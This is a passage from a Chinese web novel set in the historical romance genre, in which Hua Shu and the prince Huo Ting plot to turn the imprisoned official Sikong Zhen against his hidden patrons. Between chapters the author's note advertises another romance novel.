华姝抿唇想了想,“您能让我坐到对面去么?我们面对面,好生谈谈吧。” 如今这姿势亲密暧昧不说,更像是在哄小孩,她从气势上就先矮了他一大截。 可数日未见,霍霆哪里肯松手? 长臂一捞,揽住她双膝,将人改为横抱在怀里,面对面地,低头瞧她,“如何?” 华姝泄气,更像哄小孩了。 奈何胳膊扭不过大腿,她只好以小臂撑住书案边缘,勉强挣扎着拉开些距离,坐直身子。 她轻问:“我自是相信王爷不会打无准备之战。但如此一来,圣上会对您更不满吧?若此时再露出把柄,即使圣上不追究,那些言官们……” 华姝一直记得大夫人那日的担忧。 “担心我?” 明知她是好意,霍霆的瞳仁边缘却弥漫起一片阴翳。她确是年纪尚浅,有些心思再怎么遮掩,他也不难看透。 霍霆目光缓缓逼近,华姝心虚挪开眼 他捏住她两颊,掰正回来,直直盯视着她的眸,“告诉我,你又在想什么?” 华姝不敢答,她想到一折中的法子。 如果霍霆坚持与她长久厮守,日后每次出征回来,到华府寻她即可。 其实说得难听些,就是外室。 可往好处想,她仍能以华氏女的身份撑起一门兴盛。 届时,他不必受言官弹劾,她也不必饱受世人的冷眼。 华姝知道,此等心思太过离经叛道。但叔侄厮混,本就有悖天理。 抛开辈分不谈,若非山中之事,即便华家满门尚存,以她的出身也难以攀上王妃之位。瞧瞧阮糖便知了,侯府嫡女,家中尚有爵位,也难入霍霆青眼。 如此思量,感觉似乎也没那么不堪。 更何况,他对华家恩情似海。于情于理,她都该有所回报。 一想到他是因着华家的事,离家逃亡多年。而她却在霍府过着安稳日子,享受着本该属于他的幸福与亲情。华姝的心房,就止不住阵阵撕裂般的刺痛。 “……没什么。” 华姝目光飘向窗外,“天色不早了,几位将军还在等着您呢,我就不再多作叨扰。至于我家里的事,有点突然,我明日再来拜见您,可以么?” 霍霆不为所动,一瞬不瞬盯着她。 冷寂的秋夜,乌云遮月。 外间的更漏水声一滴滴坠响。 他周身的气息也一寸寸冷寒。 倒底是华姝先败下阵来,她看回他。 背光下,男人目光幽幽,凛冽摄人。 看得她不禁眼睫孱颤。 但华姝深吸了口气,没再挪开眼,顶着那股压迫感对视过去。她眸光复杂,迷茫,也虔诚:“王爷,我不知道该怎么做了。您教教我吧,不会的我可以去学。” 想一想,她不能再像之前那般退缩了。该尽快成长起来,才能早日报得血海深仇,才能走得无牵无挂。 霍霆闻言,周期气息隐隐松缓了些。 他松开她脸,“你不必操之过急,我自会从中周旋。” 华姝怎能不急? 她情急之下,径直握住了他那只手,“可我不想再当一个无知的局外人了,就让我为你们分担些吧。” 霍霆动作一滞,视线下移,落在两人交叠的手上。 华姝反应过来,不好意思地松开。 却又被他反握回掌间,握紧,“整件事扑朔迷离,甚为危险。或比那日在皇龙寺后山的情形,有过之而无不及。” “有您在,我不怕的。”她脱口道。 霍霆不言,垂眸凝着她端详好一会,冷肃的眼尾溢出一点细碎的柔光,“又哄我?” 嗯? 华姝面露不解,她说的是真心话。 潜意识里,只要有他在的地方,就会很安心。除了偶尔会趁人不备,悄声捉弄她吧。 但对上他促狭的眼神,她后知后觉,这话好像是有些过于亲昵了。 华姝鸦睫眨了眨,小小声解释:“是、是事实。” “事实就是,你,先负责把这双腿管好。”霍霆一手揽着她双腿,贴紧在怀中。另一手轻击娇臀,板脸警告:“但凡再走错路,后果自负。” 华姝旋即红了耳根,连带着大片白嫩纤颈都火辣辣的烫。她将脸埋在他胸膛,不敢再与之对视,“知……知道了。” 霍霆将人又拢紧些,不明叹了一声。 夜色更深了,有风吹来,云开见月。 连带着窗外的红枫叶沙沙作响。 须臾后,华姝慢慢屏退羞意,重新思考起华府灭门的前因后果。 萧成刚刚说,司空震是他们当前唯一的线索,也就是她当前的唯一线索了。 华姝仰起头,“那司空震之事,王爷有何考量?” 霍霆低头,“此事……” 话音未落,门外传来长缨的通禀声,语气期期艾艾:“王爷,大公子来了。” 表兄?! 华姝心跳漏了一拍,转头紧张地看向霍霆。 霍霆淡淡觑着她的反应,“让他进来。” “您——” 华姝心中狂跳,手忙脚乱地就要挣扎下地,找地方躲起来。 霍霆甫一用力,就将她重新摁回腿上,声音低沉:“躲什么?他早晚都得知道。” 华姝蹙眉,祈求:“可现在家里已经够乱了。” “缘何而乱?他又缘何而来?” 霍霆俯身逼近,将华姝倾压在书案上,连带着大片阴影笼罩而下,“不早些同他说清楚,你是还想再续前缘?” “我没有!” 华姝又急躁,又要极力压低声音。 而霍玄的脚步声,已是由远及近。 每一步,都像是踩在华姝的心尖上。 而霍霆始终不疾不徐,他不甚温柔地捏起她下巴,目光意味深深:“那就证明给我看。” * 书房门外,霍玄一袭白衣,长身玉立 依照礼数,家主决断容不得任何人来催问。可自打和亲使团入京,原本心死认命的他,重新瞧见希望。 霍玄回头望向对面的月桂居,不禁想起庆功宴的种种情形,以及冯衡这几日反复在他耳边的赞叹之言。 表妹相较于福佳公主,立见高下。 他迫切希望那几分侥幸能变作事实,迫切希望能听四叔亲口确认,是由福佳公主去和亲。 如此,虽然表妹暂无成婚打算,但他可以等。他可以帮衬她一起把医馆置办起来,接触多了,或许她就能慢慢习惯他的存在吧。 门内,“进来。” 霍玄收回目光,恭谨推门而入,站定在书案前,“四叔。” 霍霆浅抿了口凉茶,“坐。” “夜色已深,侄儿不敢多作叨扰,就不坐了。”霍玄拱手道:“今日来此,主要想向四叔请教一事。” 霍霆颔首,示意他说下去。 霍玄:“事关吐蕃和亲一事,也事关我霍家门楣,侄儿近日多有挂心。” 霍霆放下茶盏,未发一言,只淡淡瞧着他,却让霍玄有一种所有心思皆被洞穿于无形的溃败。 霍霆汗颜:“不敢瞒四叔,侄儿无心尚公主,还是希望能表妹终成眷属。” 昏暗墙角处,华姝躲在满墙高的书架后,正轻轻按着被咬痛的唇。 听到霍玄的话,她指尖一顿,诧异。 分明那日在祠堂门前业已说清,表兄都答应好了的。 以至于她适才还坚持同霍霆讲,霍玄很可能是为了入朝官职的事而来。 然后,原本经她浅浅吻下眉骨就气消的男人,脸色重新冷淡下来。 又发狠地吮咬她一口,“人都到门口了,你宁愿信他,都不肯信我?” 华姝当时真觉得,“您多虑了。” 此刻,她抿着酸痛的唇,算是彻底长了教训,不听老人言吃亏在眼前呐……她倏地捂住唇,这话,貌似也不能再乱说。 书案后,霍霆朝书架方向不经意瞥了眼,重新看向霍玄,“有道是,有情人终成眷属。可我记得,华姝那日在千竹堂已同你母亲拒了婚事。” 霍玄脸色微晒,语气仍是谦和:“表妹之所以拒婚,是因为受歹人所累,心有苦楚。侄儿愿意等她慢慢走出来,正好我初入官场,也需要些时日慢慢沉淀。” 霍霆眉峰微动,“受歹人所累,心有苦楚……她亲口同你说的?” 霍玄心生疑惑,此事府上虽下令不得再谣传,但想必四叔应是早有耳闻的,为何要着重问一遍? 他不解,但照实答:“正是。” 书架后,华姝欲哭无泪。 她不是。 她没有。 她那日没有同霍玄这般讲过! 然后就听见,霍霆缓缓应了一句:“很好。” 华姝顿觉后脊发凉。 霍玄愈加疑惑:“您说什么?” “你初入仕途,肯塌下心慢慢沉淀,很好。”霍霆不动声色,道:“此前听你有意进户部历练,我后来命人有作留意,户部司刚空出个员外郎之职。从六品,主管各处的土地丈量,是个辛苦差事,你当如何?” 霍玄愣了下,转而欣喜:“之前都以为,我要下放到地方任职了。”他躬身拜谢,“如今,能得京官之衔,还比三叔初到礼部高出一阶,着实令四叔费心了。” “但有一事,我需得提醒你。”霍霆道:“户部尚书之子,宋煜曾与华姝有过婚约。” 霍玄微有停顿,“倘若宋尚书当真为此责难于我,侄儿愿意迁谪至地方,正好也缓解霍府在京城的强盛威势。” 霍霆浅浅挑眉,“自古以来,地方势力一向盘根错杂。若无家人相护,陷入孤立无援、甚至身首异处的境地,你也愿意?” 霍玄这次多有沉默。 霍霆又问:“你当我为何冒着被圣上猜忌的风险,也要把你留在京城?霍家下一代,你无出其右。肩上重担,你又当如何?” 霍玄陷入更长久的沉默。 书案上青灯瘦影,墨凝秋霜,半卷兵书在夜风里微微翻动了两下。 华姝悄然松口气,表兄总算放下了。 怎料这时,“多谢四叔提点,是侄儿将事情想简单了。也幸得提前知晓了,我才能早做准备。待想出对策,再来向四叔细细禀明。”?!—— 作者有话说:替嫁|协议结婚|老房子着火|双向救赎 云釉第一次见薄斯年,在订婚宴 男人白色中山装,青竹刺绣,清雅端方,与她小姑携手而来 橘光晚霞,才子佳人,永恒定格在云釉的画笔下 第二次见,在相亲局 男人黑色中山装,墨蛟刺绣,瘦削冷肃,左手多了根黑金拐杖 在会所门口擦肩而过,乘坐迈巴赫,融散于茫茫雨雾 只因她迟到5分钟,两人这场相亲不欢而散 * 婚后次月,两人意外一夜缠绵,打破了协议规定 薄斯年看着怀中困乏的娇妻,心想要不就这样吧,日子也能凑合过 直到他发现,云釉竟带头磕起他和发小陆影帝的CP 而且在她画中,他永远都是下面的那一位 薄斯年脸色铁青,这日子没法过了 * 薄斯年公布婚讯后,京圈轰动 濒临破产的云氏地产……的私生女? 于是狐狸精手段多,带球上位的流言愈演愈烈 没人看好这段婚姻,尤其扒出云釉只是个闲散画师后 毕竟薄斯年这人极度自律,时间安排都精准到秒 可没多久,薄斯年就为云釉重金办了画展 兄弟好奇来问,他照旧忙得没心思理会 但如果问:他日程表的最后一行,为何涂满了卡通小动物? 薄斯年会短暂丢下工作,眼含温柔:“下班时间都归老婆管。” 树洞画师vs地产总裁 长相文静的机车Girl vs心思深却纯爱的古板Daddy 阅读指南 1初见女16男26;再见女21男31 2男主之前也是商业联姻,双C 3男主左腿微创,没拐杖也可,体力超好(咳) 第42章 误听到情话 是夜, 华姝几多辗转,梦魇不断。 霍霆适才的那番话,应不是为了阻拦霍玄娶她的危言耸听,更像是, 更像是霍霆的亲身经历。 试想他们兄弟十三人, 九死一生逃到南方边地, 一无所有,连身份都是编造的, 需得与当地的地头蛇经过何等缠斗,才能慢慢组建起自己的势力? 她眼睫微动,其实早该想到的。 祖母口中的霍霆,原是个皮猴,那是比霍玄更跳脱的性子。可接赐婚圣旨那日,他的果决,他的沉稳,绝非一日所成。 那一刻,他确是冷酷的, 对霍玄很冷酷, 何尝不是对他自己的冷酷? 思及此, 华姝心中的愧又深一分。 次日十五,按例要给霍老夫人请安。 华姝起晚了小半个时辰, 等她冒着清冷的晨风过来时, 三房夫人已各自回房打理诸事。 霍千羽还在等她。 意外的是, 霍华羽和阮糖也没走。 窗前软塌旁, 三人在陪老夫人打叶子牌,见华姝来了,老夫人笑呵呵地要让出位置给她玩。 华姝如今心事重重的, 哪有心思? 她勉强笑着婉拒了,坐到门口圆桌处,打算略待会就回月桂居。 昨晚已同霍霆商量,请他把华家的案件卷宗再借过来,仔细阅览,说不定会有新发现。 霍千羽摸着叶子牌,歪头看过来,“姝儿还不知道呢吧,咱们要随御驾去秋猎啦!” 华姝讶异:“秋猎?” 往年秋猎,霍府只有二房偶有资格前往。这是看在霍霆的面上,还是…… “说是与和亲使团一起。”霍华羽脸上透着讨好的意味,“吐蕃国盛行游牧,大昭以此作为迎接仪式。” 华姝心道果然,“可有说是何时?” “半月后。”阮糖笑吟吟盯着她,“大伙私下估摸着,届时会公布和亲人选。” 华姝面上不显,心中莫名不安。 秋猎人多眼杂,不确定性太大。最终的和亲人选,真会像霍霆说的那般笃定么? 阮糖见她反应如常,没再多说什么。 转而笑问:“姝儿,上次的莲蓬养颜膏可还有剩余?你三婶娘用着极好,奈何是你师父所赠,市面上实在买不到,可否再向你厚脸讨要一罐。” 莲蓬养颜膏,即此前的雪梨养颜膏。 二者皆无色无味,华姝换掉盛装的器皿,也顺势换了个说法。她知道到孕妇的体质特殊,遂未多想,“我自己还存有两罐,晚些给三婶娘送一罐去吧。” 阮糖笑吟吟道谢,继续摸着叶子牌。 眼底浅浅划过一丝暗芒。 之后,华姝慢慢喝完桂嬷嬷端来的红豆甜酿,欲起身告辞,怎料有人裹挟着冷风进门。 四目相对,霍霆也意外一顿。 他身上还穿着绛紫色的金蟒朝服,魁梧身形单单屹立在那,由内而外都透着泰然威严。 待瞧清门口的姑娘,冷肃凤眸,浮起一层浅浅柔光。 华姝则垂下眼帘,盈盈福身,“见过王爷。” 霍千羽两人闻言,忙放下叶子牌,“四叔。” 阮糖抚了抚鬓上钗环,才柔柔见礼。 老夫人也笑着停住手,“许久未照面,难得你今日得了空。” 霍霆端身坐到老夫人对面,“近日差事多,是略有不得空。这不,儿子跟您借人来了。”说着,便朝华姝看过来。 早朝时,昭文帝提及秋猎一事。顺势下令,让霍霆带兵先行前往木兰围场,探查周遭的安防。 鉴于深秋天冷,山上夜间更是温度低,霍霆准备让华姝调配些防治伤寒的药包,一齐带过去。 当着旁人的面,华姝对他无有不应。 倒是老夫人,吃味打趣道:“我们姝儿,可不是谁想借就能借的。” 华姝忍俊不禁,想来是上一次她住在别院多日,祖母惦念得紧,这次不肯轻易放人了。 只是单论伤寒药包,林军医也能调配。若说是解毒,时候尚早。 她拧眉不解,那这会是所谓何事? 主位上,霍霆也笑:“知道您宝贝她,我特意命人备足谢礼。” 长缨得到指示,旋即将五扎琉璃瓶,摆到华姝面前的圆桌上。 每扎又各有五瓶,瓶内的浆液颜色不同,折射五彩的光,漂亮极了。 霍千羽细瞧这份数,双眼冒光:“四叔,我们也有吗?” 霍霆浅浅颔首。 霍千羽嘻笑谢恩,霍华羽略显腼腆。 阮糖望向他时,柳眸透着一丝窃喜。 给华姝是看在老夫人的面上,那给她准备的这份呢? 霍霆确认无人特意关注华姝后,视线早已移开,闲看起炕几上叶子牌的碎银筹码。 霍千羽挪去圆桌旁,凑近读出瓶身的红纸黑字,“红枣蜜、枸杞花蜜、山楂蜜、桂花蜜、龙眼花蜜……都蛮补气血的,刚好姝儿这两天睡得不好。” 如此,华姝还是成了全场焦点。 姑娘家蛋清儿般细腻的雪靥上,饶是铺了厚厚水粉,眼睑下两团黑青仍若隐若现。 她垂眸看向盆栽新芽,“我喝过汤药,已是大好。” 声量轻淡,服饰也寡素。 阮糖每次来千竹堂都会精心打扮,她愈加窃喜,不自觉挺直了脊背。 但很快,就听霍千羽道:“这个甜呀!你正好爱吃甜的。” 华姝不好再找借口,赧颜轻嗯了声。 好在,老夫人接过话茬:“花蜜这物什精细又实用,你每日忙得通宵达旦的,难得还惦记着这份心思。” 霍霆:“正好看同僚买给家眷,就顺路带了些。” “家眷”二字,他似缓有停顿。 华姝耳尖微热,虚虚拢了下鬓角青丝 阮糖瞧在眼里,帕子攥得一紧再紧。不能再放任下去了,趁着这次秋猎,她需得尽快折断他们的关系。 众人又闲聊几句,华姝托词去调配伤寒药包,跟随霍霆出门。 霍霆腿长,放慢步调等她跟上。 华姝遣开白术先回去拿雪梨养颜膏送往三房,环顾四下无人后,问出心头疑惑:“您说有事找我,应该不止调配药包吧?” 霍霆低头,面色严肃起来。 而后,冷凉的秋风送来他简短低语。 华姝侧耳听完,脸色也变得凝重。 她抬头望向上空逐渐灼热的阳光,恍惚间,仿佛瞧见烧烬华家的熊熊大火。 几息后,“我愿意。” “会很危险。”霍霆定定瞧着她,仍余诸多顾虑:“且这次我不能陪着你。” “王爷本就事务繁忙,我也不好时刻都去求助搅扰。正好趁这机会,向您多作请教。”华姝浅浅一笑:“《周易》有云:天行健,君子以自强不息。” 湛蓝晴空下,青裙少女的杏眸秀气、清明、泛着坚定的光。 霍霆稀罕地想抬手揉揉她头,恰逢远处有丫鬟经过,又无言垂落回身侧。 两人一路出了霍府大门,乘车远去。 五日后,华姝被关进刑部密牢。 * 刑部密牢,仅次于死牢、东厂诏狱。 铁栅横陈,青砖高墙,小窗一线窄光 馊臭刺鼻的空气中,还混着血腥味。 华姝跟着衙役走到一间空牢房门口,沿路的男囚犯都瞧着她细嫩脸蛋,双眼直冒绿光,令人头皮发麻。 衙役解开沉重的镣铐,将她一把推进牢房,锁门扬长而去。 脚下草席枯黄,早已辨不出本色。 华姝挑了处勉强可下脚的,靠墙抱膝而坐。 目光看似呆滞,实则在观察对面。 对面牢房关着的,正是司空震一家。 官至正三品尚书,司空府曾经家大业大,林林总总共计二十八人。 此刻全挤在一间牢房,蓬头垢面。 他们也在观察华姝。或是百无聊赖,或是好奇探究,或是透着警惕。 嫡长女司空灵,华姝曾在宴席上见过 两人的视线倏地撞上。 华姝心跳漏了一拍。 脸上佯装平静,眼神空洞地挪开。 她是易容后进来的。 霍霆与萧成等人那晚多番商议,断定司空震手上还有“护身符”,是以在牢里没被遇害。 “流放途中,他定会与幕后之人达成交易。”霍霆表示:“我们需得赶在幕后之人的前面,离间他们双方,并套取那些关键证据。” 原计划送杜九娘进来,伪装成圆妙的外室尹襄菱。 他们二人私交多年,不确定司空震是否见过尹襄菱,大抵从圆妙口中听过。如此,或能减轻对方的戒备。 但临时得到消息,尹襄菱是个落魄世家的小姐,以清倌身份被圆妙赎出,举止投足乃大家闺秀的做派。 杜九娘当了多年花魁,其他女暗探大多是飒爽英气,难保不会露馅。 但事发突然,又流放在即,一时想再寻个信得过的世家贵女,就唯有华姝了。 本就为着华家,华姝自是义不容辞。 很快,到了晌午放牢饭的时候。 一个梆硬的黑馒头,一碗不见油光的青菜豆腐,几根咸菜。 华姝正无从下口时,对面突然吵了起来。 “这饭怎么是嗖的?” “之前明明都还好好的,你们这又得了谁的令!” “非要逼死我们不可吗?!” 一个枯瘦少年,紧紧攥住衙役手臂。 衙役厌恶地甩开他,急赤白脸地一脚踹开,“爱吃不吃,不吃就给我饿着!” 少年猛地摔在草席上,手背剐蹭血痕,“你——” “煦儿。” 一个中年男子沉声打断他。 虽身陷囹圄,这人仍于草席上盘腿正襟危坐。司空府的人,皆以他为中心团坐。 华姝看过画像,这人即司空震。 此等争端,他始终阖眼未睁,淡淡斥道:“不可莽撞。” 司空煦顿时噤声。 衙役阴恻恻地笑:“还当自己是尚书府大少爷呢?也不撒泡尿照照自己如今的德行,我呸!” 他骂骂咧咧地锁好牢门。 临走前,还故意绊一脚。 那几碗馊饭全洒了出来,混着发霉的烂草席,引来蝇虫嗡嗡。 华姝瞧得恶心干呕,忙侧过身。 怎料对面,司空震的威严声音响起:“都愣着作甚?吃饭。” 一瞬的沉默后,陆陆续续传来走动声、咀嚼声,不时伴着呕吐和啜泣声。 华姝动作一滞。 司空煦猜的不错,饭食正是霍霆暗中下令换掉的。如此,搅得司空府人心惶惶,离间司空震对幕后之人的信任。 可如今瞧来,司空府怕是不好挑唆。 就连五岁稚龄的龙凤胎,都难糊弄。 “小娘,她为何就能单独一间房?” “小娘,昭儿也想吃青菜豆腐,呜呜……” 两个小娃娃,先后指着华姝问道。 看似童年无忌,却问出所有人的心声,一道道目光齐刷刷盯视过来。 华姝顿觉如芒在背。 独住一间牢房,自是为了保护她。 原本后续也会人来变相为她洗脱嫌疑,但很显然,计划被打乱了。 华姝眸光微转,淡漠抬起头,瞧了瞧斜前方、斜后方两间牢房。 司空府的人顺着她目光看去,左右邻间的牢饭皆是青菜豆腐,特殊的实为他们自己。 之后,华姝又主动对上那问话小男孩的目光,眼神从空洞、悲恸,到阴翳、怨恨:“因为,我家里人都死光了啊……” 他们葬身火海! 他们死无全尸! 天知道,华姝双手攥紧多大力气,才克制地没看向司空震。 这五日里,她重新翻看了当年的卷宗。越看越觉的,那卖炭的老板不是畏罪自杀,而是灭口。 而真凶不仅逍遥法外多年,甚至踩着她华家满门的累累白骨,加官进爵,着实可憎可恶! 此刻,华姝像极了戾气缠身的疯女人 吓得那两个小孩一哆嗦,纷纷缩进小娘的怀里。其他人似也被震慑到,一知半解地,陆续收回目光。 华姝做戏做全套,又凄厉哭笑几声,呆滞半晌,才背过身。 她将一整碗哈喇嗓子的白菜豆腐,狠狠咀嚼吞咽掉,就像将司空震的骨头拆吞入腹! 就这样,对付了两日六顿。 嫌隙间,她若有似无地观察对面。 霍霆事先已有交代,衙役偶尔会分给司空家一些正常吃食。看看在食物紧缺之际,他们更看重谁。 华姝诧异发现,司空震没将那点吃食分给老母亲或几个兄弟,也没有分给嫡长子司空煦,而是给了那对最小的龙凤胎。 这算是他身为人父、良心未泯? 还是故意在摆什么迷魂阵? 这期间,包括司空震在内,他们的目光仍会时不时落在她身上。 端详,探究,戒备……神色各异。 都在意料之中。 华姝佯装不知,继续保持着一惯的失魂落魄、死气沉沉模样,任由他们窥看。 * 时间一晃,转至第三日入夜。 她的戏搭子终于来了。 那人一袭大红斗篷,腰肢摇曳生莲,款款风流却不显风骚。一路走来,引得两旁的牢房目不暇接,无论男女。 衙役更是抢先为她开好锁。 杜九娘走进华姝的牢房,将精致食盒放在草席上,掩鼻嫌弃道:“就这地,你真能待得惯?” 这嫌弃七分扮演,三分真实。 她一直不赞同,由个只会惹男人怜惜的娇小姐来当卧底,总担心会被坏事。 华姝对此不知,只做好分内事。 她缓缓抬头,“多亏姐姐照应,才占得了这一间牢房的清净。” “姐妹一场,我还能眼睁睁看着你落难?”杜九娘两弯柳眉拧紧,“周员外已经攒足银两,也疏通好关系。只要你答应给他做小,流放当日就能把你赎回来。” 华姝神情恹恹:“多谢姐姐的好意,但山哥对我深情厚谊,我不能……”她狠掐一把腿肉,眼泪扑簌簌而下,“不能趁着他尸骨未寒,就改嫁。” 杜九娘心一惊,竟真下了狠手? 再一想,又觉得也没什么。毕竟戏词都提前串好了,不过演得多投入几分而矣。 她稳住心神,状似气得原地打转,厉声斥责:“你呀你呀,这脑子究竟怎么长的?那和尚不过就拿你当个玩意养,何况人都没了,你还死守着给谁看呐?” 华姝不为所动,牢房陷入沉寂。 两人看似僵持住,实则在等司空震的反应。 适才那番争吵,目的有三。 杜九娘也易了容,但一颦一笑皆显风尘,以伪证华姝是清倌出身的尹襄菱。 其二,不经意透露,司空震入狱之后,圆妙也被灭口的消息。 其三,北疆极寒,抛出她们有法子赎身的极大诱饵。 然而,对面牢房迟迟没有动静。 这台戏,真的僵持住了。 杜九娘只好又假意痛斥几句,先将食盒里的松鼠桂鱼、八宝甜鸭和桂花糯米糕,摆到草席上。 甜腻的香气四溢。 周围接连响起口水的吞咽声。 华姝展颜,应是那人特意叮嘱了吧。 顺势微笑道:“这么好的东西,以后怕是再也吃不到了。” 杜九娘一怔,戏本没这词! 但她很快反应过来,“是啊,北疆就不是人能待的地!离流放还有两日,我劝你再好生想想。想明白了,就同这位衙役讲,他自会传话于我。” “能打点衙役,还能赎身,想必需要不少银两吧?”华姝又道:“我手上已无现银,好在咱们相识的旧处埋着点,姐姐抽空去取了吧。” 这词,戏本上也没有。 杜九娘不得不认真揣度她的用意,“用不了太多,也就二三百两吧。” “才二三百两……” 对面的牢房,终于有了躁动。 杜九娘心又一惊,开始正视起眼前人 但她没敢多耽搁,目的达到后,佯装起身欲走。从始至终没瞧对面一眼。 “姑娘留步。” 作壁上观多时的司空震,喊住了她。 数日腹饥,使得他面黄如蜡,有气无力。但站到牢房门口时,背脊依旧端得挺拔,余有肃穆官威。 杜九娘斜眼瞥去,又皱着鼻子凑近,仔细瞧瞧,“哟,这不是司空大人嘛?许久不见,您老近日可好呀?” 司空震嘴角抽动,不予争辩。只在衙役不善地注视下,用仅两人能听到的声音道:“姑娘可愿做笔交易?” 杜九娘直白地摊开掌心。 司空震瞥了眼一旁衙役。 杜九娘会意,摆手将人赶走。 司空震:“老夫眼下没有现银,但能给你一处地址。你去那地筹得银两,为犬子司空煦赎身,余下的银两便是酬金。” 杜九娘似笑非笑:“我如何信你?” “你只管遣人去这地,提及这句暗语,自有人许你千金。”司空震声音又低了低,絮絮几语。 临走前,杜九娘不自觉又看向华姝。 她回想到,之前提出华姝太娇太乖不合适时,长缨濯缨等人都欲言又止的反应。 如此她再细瞧,这小姑娘安稳如山的模样,竟透着……王爷的影子? * 杜九娘走后,华姝第一次向司空震示好。她朝他俯身一拜,“先前不知是司空大人,襄菱多有冒犯,还望您海涵。” 司空震淡淡瞧向她,“夫人贵姓?” “尹。” 司空震没再多言,华姝也没再过分套近乎,只隔着铁栅栏的缝隙,扔过去几块桂花糯米糕。 司空灵怕沾了脏病,瞬时退避开。奈何牢饭匮乏,只好又命那妾室捡起来。 转而与华姝含笑搭话:“姐姐当真良善,为爱人不惜做到如此地步。不像我那未婚夫,自我家出事后,一面未露。” 提及伤心事,司空灵红了眼圈,“可怜我与他自幼青梅竹马,到头来竟是一片丹心错付。” 谎话半真半假,最是动听。 华姝看破不说破,顺水推舟道:“世人大多能同甘,却不能共患难。我初时沦落风尘,也没敢抱太大希望,直到遇见了山哥。” 圆妙未出家时,俗名乃冯紫山,唯有亲近的人知晓。她此般念叨,让自己身份更可信几分。 但与圆妙的过往,自是一片空白。 华姝眸光流转,落在那几盘精致可口的吃食上,倏而展颜笑了。 “他曾救我于险境,也曾替我荡平所有的流言蜚语。会为我指点迷津,会记得我的吃食喜好,会包容我、保护我、托举我的一切……” 司空灵曾被人捧在手心珍爱过,深知此乃真情流露。 若非父亲授意,她根本不屑与个风尘女子攀谈。然而听完两人的过往,她竟心生了艳羡。 司空震见此,才同意家人分食糯米糕 众人一抢而空。 等司空灵放下架子想去吃时,连点碎渣都没分到。 华姝佯装没瞧见,继续沉浸地讲述:“坦白地讲,我起初很怕他。从未见过谁,那般冷肃威严。后来渐渐悟懂,旧事刻骨,相由心生,就开始忍不住心疼他。” 霍霆曾言,秋猎所在的木兰围场离此处甚远。当初接下那差事,也是为了让幕后之人放松警惕。故而近几日,他都不会过来。 鉴于此,华姝这番肺腑之言毫无保留。 殊不知一墙之隔,霍霆正负手而立。 他原是不该来这密牢,稍有不慎,就会打草惊蛇。 但近两夜一闭眼就会映出她的身影,或是伏案翻看卷宗,或是高强度练习磕了细嫩的膝盖,或是半夜梦魇却是咬紧被角不肯泣出声。 他想将人揽入怀安抚,可一伸手,梦就醒了。 今日天色一暗,霍霆驰风沐霜赶来,玄色斗篷还残余着浓郁寒气。 直到听完这番话,眉眼间融融暖化。 在衙役的好奇注视下,霍霆若无其事压下嘴角,手中佩剑的剑穗又被摩挲得轻快、飞起。 第43章 笛声传情 流放越近, 密牢笼罩的阴郁越重。 尤其司空府之人,每日频频望着密牢入口的方向。后来,就连司空震也时而翘首以盼。 但自打那晚,杜九娘竟一去不复返。 司空灵一再向华姝核实, “她真的还会再来么?” 相教于他们, 华姝一直表现得平淡、厌世, “既已请衙役传话,想必姐姐会依言赴约。” 又挨到傍晚, 杜九娘终于现身。 不同于上次的娉婷袅袅,她这次右臂缠满纱布,半调在颈上,模样委实狼狈。 看向司空震时,她更是怒目不善:“好你个老匹夫,居然玩阴的?!还说什么重金酬谢,结果差点要了老娘的半条命!我看呐,你们全家都烂死在北疆算了!” 司空震起初不信,“你可是将那条暗语一字不差道出?” “就是听了那暗语, 他们转手就开始抄家伙!”杜九娘指着自己的右臂, 气急败坏:“你自己瞧瞧, 一个个可都是下的死手啊!” 司空震错愕一瞬,而后微眯眼, 细细探究起杜九娘的表情。见她气愤不似作假, 他目光逐渐失望、痛心, 继而怨恨丛生。 其他人见状, 亦是脸色惶惶。 司空灵不甘心:“如此,兄长就再没希望被救出去了吗?” 司空煦叹气:“罢了,北地就北地吧, 还能与家人共进退。” 司空震淡漠不语,但双拳骨节泛白。 一旁,华姝静静旁观。 心道,这连环的离间计终是奏效了。 “倒也还有个法子。”杜九娘轻挑眉梢,盯着司空灵笑道:“这位妹妹貌美又机灵,若肯签字画押,姐姐我可作保,将你们兄妹二人一起赎出来。” 司空灵脸色骤变,吓得连连后缩,“不,我不要卖身到那种地方!” 杜九娘轻嗤:“你以为,就凭你这脸蛋,流放路上还能全须全尾的不成?” 她扫视着司空府的女眷们,“与其到时候白白自戕,倒不如换家人一个平安。” 女眷们一听,也是脸色煞白,不由得瑟缩抱在一起。 “音儿,你去。”司空震突然发话。 角落里,被点到名字的司空音,猛地一哆嗦,当即磕头血痕斑驳,“父、父亲,我不行的呀。还望您垂怜音儿,父亲……” 司空震漠然背身,不为所动。 其余人亦是冷眼旁观。 司空音是养女,素日吃穿用度与司空灵无异。然而生死关头,远近亲疏,立见真章。 华姝看着无助的司空音,不免动容。 她倒不担心,假以时日自己也变作这般处境。更多的是庆幸,庆幸霍老夫人持家育儿有方,庆幸遇见霍霆。 以她对霍霆的了解,面对同等抉择,他宁愿自己卖身去做苦力,都不会让旁人动霍家妇孺一根汗毛。 很快,司空音被迫画押。 “行了,明日你们就瞧好吧。若是还有人也动了念想,明日亦可一道随我走。” 杜九娘将卖身契塞进袖带,转身瞧向华姝,“襄菱妹妹,这几日想得如何呀?” 华姝故作矜持:“我心意已决,姐姐莫再劝了。” “别怪我没提醒你,这可是你最后的机会了。”杜九娘掩面讥笑,“做咱们这行的,最忌讳端着。” 她不避讳地指着司空音,“你瞧瞧那姑娘的漂亮脸蛋,还是个没□□的大家闺秀,届时被周员外瞧见,人家还记得你是谁啊?” 司空音怔了下,背身捂脸啜泣。 华姝望了望她,再瞧瞧杜九娘,表情似有动摇。她指尖揪紧囚服,显然还在挣扎,犹豫不决。 杜九娘见此,再加一剂猛药:“说白了,你无非就是想给那死和尚守身如玉!” “可你也不想想,”她越说越激动:“连她们有男人护着都不定怎着。你一介寡妇,还是风尘出身,能落着好?!” 华姝配合着她,也像司空音那般,掩面崩溃。她哭腔颤抖:“都、都听姐姐安排罢……” “这才对嘛!”杜九娘心满意足而去 而牢房内,越发死气沉沉。 华姝继续保持着悲痛欲绝的样子,似乎真对圆妙痴心不矣。 司空震时不时瞥她,眼神复杂起来。 * 这次杜九娘走后,牢饭好了起来。 但这,却不在华姝预知的计划当中。 她蹙眉,看来还是惊动了幕后之人。 有衙役传话,她倒不担心霍霆的明日应对。怕只怕,剩下的这一夜,对方会先采取行动。 对面,司空震等邻间的囚犯吃过,才让家人动筷。 华姝有杜九娘带的饭食,倒也还好。 但她多留了个心眼,趁对面的人在狼吞虎咽,悄声从腰带底下摸出一根银针,插进牢饭内。银针没变色。 